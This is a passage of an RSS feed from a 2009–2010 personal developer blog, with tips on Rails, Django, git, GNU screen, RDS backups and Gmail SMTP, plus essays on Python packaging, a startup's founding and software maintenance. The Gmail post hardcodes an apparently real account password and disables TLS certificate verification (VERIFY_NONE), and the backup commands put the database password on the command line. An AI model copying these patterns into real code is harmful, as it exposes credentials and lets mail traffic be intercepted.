good libraries out there, but plenty of bad ones too.  Before you
marry yourself to a particular library, research it thoroughly; Is it
actively maintained?  Are there lots of complaints about it in the
blogosphere?  Are there tests?  Does the code look well written?  Is
there documentation?&lt;/p&gt;&lt;p&gt;and most importantly of all...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Do I actually need this functionality?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I've been burned plenty of times for installing something new and
shiny and then ditching it later because it was much more than I
needed.  Just like it's more elegant to write less code, more
concisely; The same principle applies when introducing new
dependencies to your application.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/A-gmiZSuKjg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 21 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/A-gmiZSuKjg/rails-dependency-management</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/21/rails-dependency-management</feedburner:origLink></item>
    <item>
      <title>Tips of the Day</title>
      <description>&lt;ul&gt;
&lt;li&gt;debugging django SQL problems&lt;/li&gt;
&lt;li&gt;documenting convention for Rails routes&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Debugging Django SQL problems&lt;/h2&gt;&lt;p&gt;You can install &lt;a href="http://github.com/robhudson/django-debug-toolbar"&gt;Django debug toolbar
middleware&lt;/a&gt;, or you
can set a breakpoint and inspect queries that have been run on the
current database connection:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;from django import db
db.connection.queries[0]['sql']
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;'queries' is an array of dicts.  The useful keys on the dict are 'sql'
and 'raw_sql'.&lt;/p&gt;&lt;h2&gt;Documenting Convention for Rails Routes&lt;/h2&gt;&lt;p&gt;I started a mini-hackathon for a &lt;a href="http://beerpad.heroku.com"&gt;beer review
app&lt;/a&gt; I've wanted to write for a while.
While I was scaffolding, I thought it'd be useful to document the
routes inline with their controller:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ReviewsController &amp;lt; ApplicationController
  # beer_reviews(@beer) =&amp;gt; GET /beers/:beer_id/reviews
  def index
  end

  # new_beer_review(@beer) =&amp;gt; GET /beers/:beer_id/reviews/new
  # new_review             =&amp;gt; GET /reviews/new
  def new
  end

  # beer_reviews(@beer) =&amp;gt; POST /beers/:beer_id/reviews
  # reviews             =&amp;gt; POST /beers/reviews
  def create
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The benefit is that for any given controller you can always add
'_path' or '_url' to the end of the comment without having to run rake
routes and grepping for the controller/action pair.  This convention
also lets you see every possible way of accessing a given action
instead of only the basic method.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/pNfnYoJUh2g" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 19 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/pNfnYoJUh2g/tips-of-the-day</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/19/tips-of-the-day</feedburner:origLink></item>
    <item>
      <title>Tips of the Day</title>
      <description>&lt;ul&gt;
&lt;li&gt;deleting remote git tags&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Deleting remote git tags&lt;/h2&gt;&lt;p&gt;Find the tags you want to delete&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git remote update
git tag -l
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Removing a single tag&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git push origin :refs/tags/my_tag_name
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Removing a bunch of tags (2009 and 2010)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git tag -l | grep -e '^20' | perl -ne '`git push origin :refs/tags/$_`'
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/f4qI8U6FCEw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 14 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/f4qI8U6FCEw/tips-of-the-day</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/14/tips-of-the-day</feedburner:origLink></item>
    <item>
      <title>Tips of the Day</title>
      <description>&lt;ul&gt;
&lt;li&gt;backspace in GNU screen with Apple Terminal, SSH, and Ubuntu&lt;/li&gt;
&lt;li&gt;jquery tooltip plugins&lt;/li&gt;
&lt;li&gt;django stuff&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;It's just a backspace&lt;/h2&gt;&lt;p&gt;Is it too much to ask for backspace to mean backwards-delete?
Apparently it is, because there are entire bug threads and forum posts
dedicated to the issue.  I finally got mine working with the following
in my .screenrc:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bindkey -d ^? stuff ^H
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thanks to &lt;a href="http://www.deadlock.it/linux/fix-gnu-screen-backspace-misinterpretation/"&gt;this blog
post&lt;/a&gt;.
The original post also maps ^@, but that conflicts with ctrl-space
set-mark in emacs. It also appears to be working for me without that
second line.&lt;/p&gt;&lt;p&gt;The other solution that made backspace work was&lt;/p&gt;&lt;pre&gt;&lt;code&gt;alias screen='TERM=screen screen'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But this solution screwed up the status bar colors on the bottom of my
screen.&lt;/p&gt;&lt;p&gt;Something that was somewhat useful in helping debug this problem was
figuring out what backspace actually mapped to in Terminal, in a ssh
shell, and in screen.  To display a non-printing character, start with
^v (control-v), then type the non-printing letter (backspace).  What I
got were:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Terminal: ^?
SSH:      ^?
screen:   ^[[3~
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's amazing how many mappings people suggested in the forums, and how
all of them didn't work.  My guess is that YMMV and you just need to
try all of them until you get one that works.  Here's some others I
tried:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bindkey -k kb stuff "\010"
bindkey -k kb stuff "\177"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And other variations with ^?, ^H, and ^[[3~.&lt;/p&gt;&lt;h2&gt;jQuery Tooltips&lt;/h2&gt;&lt;p&gt;I ended up choosing
&lt;a href="http://pupunzi.open-lab.com/mb-jquery-components/mb-tooltip/"&gt;mbTooltips&lt;/a&gt;
for this specific application because it's relatively lightweight (4k
minified, with 8k of dependencies).  The original &lt;a href="http://www.learningjquery.com/2006/10/updated-plugin-jtip"&gt;jTips
plugin&lt;/a&gt;
that was in use was a whopping 187k AND used AJAX requests to get
tooltip data.  jTips is also unmaintained.  Personally, I would just
use the default 'title' attribute on HTML elements for tooltips, and
style them appropriately.&lt;/p&gt;&lt;h2&gt;Django Stuff&lt;/h2&gt;&lt;p&gt;To do redirects:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# You'd think redirects wouldn't need to be explicitly imported...
from django.http import HttpResponseRedirect
return HttpResponseRedirect("/")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="http://docs.djangoproject.com/en/dev/topics/forms/"&gt;Form models, form helpers, form
processing&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/cJswfWSu9C4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 13 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/cJswfWSu9C4/tips-of-the-day</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/13/tips-of-the-day</feedburner:origLink></item>
    <item>
      <title>Tips of the Day</title>
      <description>&lt;ul&gt;
&lt;li&gt;dumping and restoring databases from RDS&lt;/li&gt;
&lt;li&gt;connecting to Twitter via oauth using python&lt;/li&gt;
&lt;li&gt;python debugger in Django&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Backup and Restore to RDS&lt;/h2&gt;&lt;p&gt;Backup:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mysqldump -h dev-rds.customdomain.com -u root -psecret database_name table_name  | gzip &amp;gt; backup.sql.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;table_name is optional, and you can pass a -9 to gzip to maximize compression&lt;/p&gt;&lt;p&gt;Restore:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gunzip &amp;lt; backup.sql.gz | mysql -h dev-rds.customdomain.com -u root -psecret database_name
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Python Twitter OAuth&lt;/h2&gt;&lt;p&gt;&lt;a href="/files/python_twitter_oauth_sample.zip"&gt;Download sample code&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://oauth.googlecode.com/svn/code/python/oauth/oauth.py"&gt;Grab oauth
library&lt;/a&gt;,
and drop it on your python path.  Don't use the egg because there are
problems with it.&lt;/p&gt;&lt;p&gt;If you're using cookie based sessions and developing locally, make
sure your callback url is consistent with your local dev url.  I had
the callback url set to http://127.0.0.1/twitter_callback, but I was
accessing the application via http://localhost:8000/, so the cookies
weren't being set properly.  The fix was to access the app from
http://127.0.0.1:8000/ instead.&lt;/p&gt;&lt;h2&gt;Python Debugger in Django&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;import pdb; pdb.set_trace()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Equivalent of 'import ruby-debug; debugger' in ruby.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/_CyTrTRm8Nw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 12 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/_CyTrTRm8Nw/tips-of-the-day</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/12/tips-of-the-day</feedburner:origLink></item>
    <item>
      <title>Ruby Rails Gmail SMTP</title>
      <description>&lt;p&gt;When you want to send a quick email in a ruby script, it's easy to
send it through Gmail.  You don't have to worry about email
deliverability, and you get a record of it in your 'Sent Box'.  There
were a few outdated blog posted on how to do this, but I had to make a
few tweaks before it worked for me.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; For Ruby &amp;gt; 1.8.7 and Rails &amp;gt;= 2.2.2, you can simply
specify 'enable_starttls_auto =&amp;gt; true'.  I put the following in
'config/initializers/actionmailer_gmail.rb'&lt;/p&gt;&lt;p&gt;ActionMailer::Base.smtp_settings = {
  :address =&amp;gt; "smtp.gmail.com",
  :port =&amp;gt; 587,
  :authentication =&amp;gt; :plain,
  :enable_starttls_auto =&amp;gt; true,
  :user_name =&amp;gt; "kwiqi@kwiqi.com",
  :password =&amp;gt; "superB1rd!"
}&lt;/p&gt;&lt;h2&gt;Setup&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;sudo gem install tlsmail
sudo gem install mail   # optional
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="http://www.rubyinside.com/how-to-use-gmails-smtp-server-with-rails-394.html"&gt;Ruby
Inside&lt;/a&gt;
recommended 'smtp_tls', but that gem is not compatible with Ruby
versions greater than 1.8.6.  'tlsmail' works for 1.8.6 and above.&lt;/p&gt;&lt;p&gt;Once you have 'tlsmail' installed you can use
&lt;a href="http://ar.rubyonrails.org/"&gt;ActionMailer&lt;/a&gt;, or &lt;a href="http://github.com/mikel/mail"&gt;mikel's
mail&lt;/a&gt; gem to build and send the message.
If you don't want the extra dependency and speak mail headers, you can
write the raw mail message yourself.&lt;/p&gt;&lt;h2&gt;Rails&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;# in environment.rb
require 'tlsmail'
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
ActionMailer::Base.raise_delivery_errors = true
ActionMailer::Base.perform_deliveries = true
ActionMailer::Base.delivery_method = :smtp
ActionMailer::Base.smtp_settings = {
  :address =&amp;gt; 'smtp.gmail.com',
  :port =&amp;gt; 587,
  :tls =&amp;gt; true,
  :domain =&amp;gt; 'mail.google.com',  # mail.customdomain.com if you use google apps
  :authentication =&amp;gt; :plain,
  :user_name =&amp;gt; 'johndoe@gmail.com',  # make sure you include the full email address
  :password =&amp;gt; '_secret_password_'
}
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Ruby&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/ruby

begin
  require 'rubygems'
  require 'tlsmail'
  require 'mail'     # http://github.com/mikel/mail
rescue LoadError =&amp;gt; e
  puts "Missing dependency #{e.message}"
  exit 1
end

mail = Mail.new do
      from 'johndoe@gmail.com'
        to 'johndoe@gmail.com'
   subject "email subject line"
      body 'blog backup'  # add an attachment via add_file
end
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
Net::SMTP.start('smtp.gmail.com', 587, 'gmail.com', 'johndoe@gmail.com', '_secret_', :login) do |smtp|
  smtp.send_message(mail.to_s, 'johndoe@gmail.com', 'johndoe@gmail.com')
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Bonus: Email Testing with Mailtrap&lt;/h2&gt;&lt;p&gt;&lt;a href="http://rubymatt.rubyforge.org/mailtrap/"&gt;Mailtrap&lt;/a&gt; was mentioned in a
related article on
&lt;a href="http://www.rubyinside.com/mailtrap-dummy-ruby-smtp-server-ideal-for-testing-actionmailer-629.html"&gt;RubyInside&lt;/a&gt;.
The way I had been testing emails on OS X was starting a local smtp
server (sudo postfix start) and send test emails to Gmail.  Mailtrap
lets you do quick tests locally by logging the sent mail to a text
file.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/rM1Znt0DbwQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 11 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/rM1Znt0DbwQ/ruby-rails-gmail-smtp</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/11/ruby-rails-gmail-smtp</feedburner:origLink></item>
    <item>
      <title>A Day in Python Library Hell</title>
      <description>&lt;p&gt;I haven't used python as my main day-to-day language, but I've already
run into problems with the tools and libraries that has had me pulling
my hair out.&lt;/p&gt;&lt;h2&gt;Library Management&lt;/h2&gt;&lt;p&gt;There doesn't appear to be a consensus in the community for how you
distribute or install libraries.  As a result, every library is a
little different, and you have to figure it out per package.
Sometimes it's through python eggs, sometimes through your OS's
package manager, sometimes it's from source, and sometimes it's just
drop in a file.  As if this wasn't bad enough, the method you choose
to install a library might determine whether it works or not.  When I
tried to install the oauth module via an egg, the module didn't work.
From this &lt;a href="http://agileweb.wordpress.com/2009/04/28/step-by-step-guide-to-use-sign-in-with-twitter-with-django/"&gt;blog post
comment&lt;/a&gt;,
it turns out I wasn't alone:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;I had this problem too. I get it when I used setuptools to install
an egg of ouath. Instead, just copy oauth.py into your Python path
and it will work fine.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;"just copy oauth.py into your Python path"?  Is this seriously the
solution?  If so, then why even bother to have distribute a broken
egg?&lt;/p&gt;&lt;h3&gt;easy_install is Stupid&lt;/h3&gt;&lt;p&gt;First of all, what a stupid name for a program.  It doesn't tell me
anything about what it does, and isn't remotely related to 'eggs' nor
python.  The --help message has no short description, and there's no
man page for it.  When you google for 'python egg', the first result
is &lt;a href="http://pypi.python.org/pypi/setuptools"&gt;'setuptools'&lt;/a&gt;, which is
'easy_install', which happens to install eggs.&lt;/p&gt;&lt;p&gt;Oh, and guess what?  There's no easy_uninstall.  For that, you'll have
to remove it yourself from your local site-packages, or &lt;a href="http://ubuntuforums.org/showthread.php?t=666698"&gt;roll your own
uninstall&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;
&lt;strong&gt;init&lt;/strong&gt;.py is Useless&lt;/h2&gt;&lt;p&gt;Every init file I've seen so far has been empty.  I understand the
purpose for this file, but requiring it in a directory for something
to be considered a module is annoying.  Java also uses directories for
packages, but doesn't require you to touch a file in every folder.&lt;/p&gt;&lt;h2&gt;Rotten Eggs&lt;/h2&gt;&lt;p&gt;I'm disappointed something that developers use day in and day out can
be so clunky and vague.  I've singled out the oauth library as an
example, but the problem isn't just a single bad library.  The problem
is how freaking difficult it is to try a new library; Even if you like
the API of the library, there's an additional hurdle of installing and
maintaining it.  I wish the Python community would come to a consensus
and choose a standard way of distributing libraries.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/dCT5IbZ-FuE" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 11 Jan 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/dCT5IbZ-FuE/a-day-in-python-library-hell</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/01/11/a-day-in-python-library-hell</feedburner:origLink></item>
    <item>
      <title>Ruby Python Cheatsheet</title>
      <description>&lt;p&gt;Some equivalents for my reference:&lt;/p&gt;&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;Ruby&lt;/th&gt;
    &lt;th&gt;Python&lt;/th&gt;
    &lt;th&gt;Comment&lt;/th&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rubygems&lt;/td&gt;
    &lt;td&gt;Eggs&lt;/td&gt;
    &lt;td&gt;python setuptools, utility is called easy_install&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;__FILE__&lt;/td&gt;
    &lt;td&gt;???&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$: or $LOAD_PATH&lt;/td&gt;
    &lt;td&gt;import sys; sys.path&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;a ? b : c&lt;/td&gt;
    &lt;td&gt;b if a else c&lt;/td&gt;
    &lt;td&gt;stupid ternary operator&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
    &lt;td&gt;sys.stdout; sys.stderr&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;script/console&lt;/td&gt;
    &lt;td&gt;django-admin.py shell&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;restful auth, clearance, auth plugins&lt;/td&gt;
    &lt;td&gt;[auth middleware](http://docs.djangoproject.com/en/dev/topics/auth/)&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;before_filter&lt;/td&gt;
    &lt;td&gt;[BeforeFilter middleware](http://www.djangosnippets.org/snippets/1306/)&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/99jh_yufoZE" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 9 Dec 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/99jh_yufoZE/ruby-python-cheatsheet</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/12/09/ruby-python-cheatsheet</feedburner:origLink></item>
    <item>
      <title>Talking the Startup Talk, Walking the Outspokes Walk: Founders</title>
      <description>&lt;p&gt;It's been a month since I left my job at
&lt;a href="http://www.coupa.com/"&gt;Coupa&lt;/a&gt; and co-founded
&lt;a href="http://www.outspokes.com/"&gt;Outspokes&lt;/a&gt; with my friend
&lt;a href="http://www.twitter.com/artvankilmer"&gt;Arthur&lt;/a&gt;.  I read a lot of blogs
on entrepreneurship and technology, but actually diving in and
floundering around myself has been quite a rush.  Many of my
experiences match up with what the blogosphere says, but just as many
have caught me off guard.  Looking back, my first surprise was how big
a difference my co-founder made.&lt;/p&gt;&lt;h2&gt;Why'd you do it?&lt;/h2&gt;&lt;p&gt;I wanted to do a software startup.  This was surprising to me because
none of my closest friends were into startups; I graduated from a
school that didn't have a huge startup community; I also had a cushy
job with a team that I really enjoyed working with.  All of this was
outweighed by the fact that I met one person who saw startups the same
way I did.&lt;/p&gt;&lt;p&gt;I knew I wanted to do more than build other people's ideas.  I've been
working since I got my first part time job at Starbucks at 15, paid
for my college with a short full-time stint at the &lt;a href="http://www.fs.fed.us/psw/"&gt;USDA Forest
Service&lt;/a&gt;, worked as an ExtremeBlue IBM
intern in Austin, a programmer at
&lt;a href="http://www.rescomp.berkeley.edu/"&gt;Rescomp&lt;/a&gt;, and a programmer at
&lt;a href="http://www.coupa.com"&gt;Coupa&lt;/a&gt;.  With the exception of ExtremeBlue,
I've always been building to spec or adding to an existing legacy
project.  This certainly pays the bills and hones the skills, but I
always built &lt;a href="http://www.whatcodecraves.com/projects"&gt;pet projects&lt;/a&gt; on
the side.  I didn't make these because I wanted money; I made them
because they were useful to me and I had a blast making them.  I
didn't rush my projects, I didn't have to clean up after incompetent
coders who cared less about their work than as I did, and I got to try
new code techniques and explore new ideas.&lt;/p&gt;&lt;p&gt;Fast forward to now, my latest pet project was Outspokes.  It came out
of a class that Arthur was in, and I had a good time hacking on it in
my free time.  Only this time, I met someone who felt the same way I
did.  We reviewed each other's code, we called each other out on bad
habits, and most importantly, we both &lt;strong&gt;cared deeply&lt;/strong&gt; about the
project.  We were proud of what we made, and we wanted to make it
useful for everyone else too.  What was new about this pet project was
that I hadn't met anyone who had wanted to work on my other pet
projects before.  Similarly, I never felt much interest in other
people's projects except to have a weekend hack session here and
there.  Working with Arthur was different because we talked about
everything related to Outspokes.  We talked code, we talked features,
we talked about who would use it, and we talked business.  I found
myself thinking about Outspokes way too much, and I knew that the more
I thought about it, the more it got Arthur pumped up.&lt;/p&gt;&lt;p&gt;Now one would think that in heart of the startup-saturated tech-mecca
of the world, it shouldn't be very hard to find a like-minded person
to work with. But one would be completely wrong in making this
assumption.  If anything, the valley is torn apart by so many
different interests that it's almost impossible to find someone
compatible to work with.  First you have to filter out the people who
only cared about making a quick buck.  Then you had the people who
only loved to be in the spotlight will jillions of page-views, and
also the people who only cared about the next big tech framework.
This leaves you with a handful of cool sane people who really believed
in their ideas, but unfortunately, since they were passionate about
their idea, it meant that unless you were also passionate about their
idea, you couldn't work with them.&lt;/p&gt;&lt;p&gt;So I was really lucky to have met Arthur.  Honestly, even if Outspokes
wasn't an amazing idea that I believed in, I still would've wanted to
work with him in the future at some point.  It made my decision that
much easier that Outspokes happens to solve a problem I've
experienced, and also a problem that I know peers feel daily.  For all
the startup advice that I saw on the internet, I think that having a
co-founder who you can talk to day-in and day-out on all aspects of
your life is probably the key to a successful startup.  Even in these
brief few months, I know that if I had worked with anyone else on this
startup, they would've jumped ship and given up already.  But having a
partner who reminds you about the big picture at the low points and
celebrates with you at the high points really makes a huge difference.&lt;/p&gt;&lt;p&gt;Stay tuned for my next post about the nasty nitty-gritty bits of how I
figured out the art of not starving, and what the actual TechCrunch50
Demopit launch taught me.&lt;/p&gt;&lt;p&gt;-Jerry &lt;a href="http://www.outspokes.com"&gt;Outspokes&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/wcYsxP8wY7s" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 30 Oct 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/wcYsxP8wY7s/first-month-of-first-startup</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/10/30/first-month-of-first-startup</feedburner:origLink></item>
    <item>
      <title>The Software Maintenance Light</title>
      <description>&lt;!-- image provided by http://www.flickr.com/photos/uscfan/171628111/ --&gt;&lt;p&gt;&lt;img src="/images/check_engine.jpg" alt="check engine light"&gt;
My cute little box car, &lt;a href="/images/chucksmall.jpg"&gt;Chuck&lt;/a&gt;, came with an
owners manual.  Inside this little book, it lists all the mileage
intervals when Chuck should be serviced.  At 30,000 miles, you replace
the spark plugs, rotate tires, inspect the brakes, etc.  In addition
to these checklists, every 5000 miles Chuck beeps at me and flashes a
maintenance light to warn me that I should replace the engine oil.  As
my car nears 50,000 miles, it never ceases to amaze me that every time
I turn the key, Chuck starts up instantly and runs as well as he did
when I first got him.  I wish software could be as reliable as my car.
Heck, if it's too much to ask for software to be as reliable as a
Toyota, then I wish software could be as reliable as a mid-90's Chevy
Cavalier.  How could it be that an engine that explodes thousands of
times per minute for multiple decades over hundreds of thousands of
miles in all types of unpredictable weather conditions be &lt;em&gt;more&lt;/em&gt;
reliable than software?  Then it hit me.  Software applications lack
&lt;strong&gt;regular maintenance&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Even with the best development practices, I feel that many software
projects are missing this concept of maintenance.  Once a feature is
completed, it won't be touched again until a) the feature breaks, or
b) requirement changes affect the feature.  There doesn't seem to be a
holistic look at the entire app to make sure there aren't future
problem spots.  Going back to the car analogy, when you go for regular
maintenance, the entire car is checked over to identify future problem
spots so you don't have an unexpected catastrophe on the road.&lt;/p&gt;&lt;p&gt;So like Chuck's owner's manual, I propose the following "Software
Maintenance Schedule":&lt;/p&gt;&lt;h2&gt;Always&lt;/h2&gt;&lt;p&gt;Anytime code is changed, no matter how seemingly innoculous the change
is, there is room for error.  These tasks should be run whenever you
touch the codebase.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;run all your tests - check out &lt;a href="http://en.wikipedia.org/wiki/Continuous_integration"&gt;continuous
integration&lt;/a&gt;.
For Ruby, I've tried out &lt;a href="http://integrityapp.com/"&gt;Integrity&lt;/a&gt; and
&lt;a href="http://cruisecontrolrb.thoughtworks.com/"&gt;CruiseControl rb&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Daily&lt;/h2&gt;&lt;p&gt;The daily tasks are ones that are too bulky to run per file save.
They're good for ensuring the consistency of the entire system.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;backup the codebase and production data to a secure offsite location&lt;/li&gt;
&lt;li&gt;run regression tests&lt;/li&gt;
&lt;li&gt;fix hoptoad errors - for large problems, file it into your ticketing system.&lt;/li&gt;
&lt;li&gt;deploy code to staging environments&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I like to have the staging environment closely reflect the actual
production environment.  In fact, the ideal way is to have the staging
environment be cloned nightly from production.  Take care to scrub out
sensitive information so you don't accidentally mass email your live
production users ;)&lt;/p&gt;&lt;h2&gt;Weekly&lt;/h2&gt;&lt;p&gt;The end of the week is a good time to step back from coding and admire
your team's handiwork.  Unfocus your eyes, take your hands off the
keyboard and just make sure you wrote what you actually intended.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;release into production&lt;/li&gt;
&lt;li&gt;refactoring - spend an afternoon with snacks and drinks and comb over TODOs, OPTIMIZEs, and FIXMEs.&lt;/li&gt;
&lt;li&gt;evaluate metrics and analytics to identify performance and potential problems&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I don't think releasing into production weekly is for everyone, but I
do believe that keeping your stable production codebase closely in
sync with your stable development codebase is a good way to keep
production bugs from queueing into a nasty long list.&lt;/p&gt;&lt;p&gt;Tools like &lt;a href="http://www.hoptoadapp.com/"&gt;Hoptoad&lt;/a&gt; and &lt;a href="http://www.newrelic.com/"&gt;New Relic
RPM&lt;/a&gt; are a great way to be notified about
potential future problems.&lt;/p&gt;&lt;h2&gt;Monthly&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;test a deployment from scratch&lt;/li&gt;
&lt;li&gt;clear out crufty data - old sessions, tmp files&lt;/li&gt;
&lt;li&gt;automate common tasks&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Testing a deployment from scratch is useful in making sure that if a
new developer comes on, he can bootstrap the app.  I like writing new
automation tasks only after I notice the tasks being repetitive.  It's
good not to do this all the time and cut into development time.&lt;/p&gt;&lt;h2&gt;Releasely&lt;/h2&gt;&lt;p&gt;Do these tasks &lt;em&gt;before&lt;/em&gt; you actually overwrite your current production
codebase with new code.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;tag codebase&lt;/li&gt;
&lt;li&gt;test rigorously in staging&lt;/li&gt;
&lt;li&gt;backup code, data&lt;/li&gt;
&lt;li&gt;run sanity test of data&lt;/li&gt;
&lt;li&gt;run regression tests&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Quarterly&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;see if there are worthwhile tech stack upgrades - web server, libraries, database, etc&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;It's easy to stick with a working system and keep developing off on
top of an understood foundtain.  However, in doing so, you might be
missing out on some really useful innovations that have been released.
For Coupa, we don't slot in infrastructure and tech stack projects
into every release, but we do upgrade Rails and Passenger every other
stable release or so.  Keeping up with your programming community
helps you and your project stay up to date on the latest security and
performance problems.&lt;/p&gt;&lt;p&gt;I think all my guidelines are common sense items that good development
teams already do.  What worries me is that there isn't a good
convention about &lt;em&gt;how often&lt;/em&gt; these tasks are done.  After all, it's
much easier to check for problems when the maintenance light comes on,
rather than to wait for your engine to fall out.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/OY7MurHruGE" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 9 Jun 2009 00:00:00 +0000</pubDate>
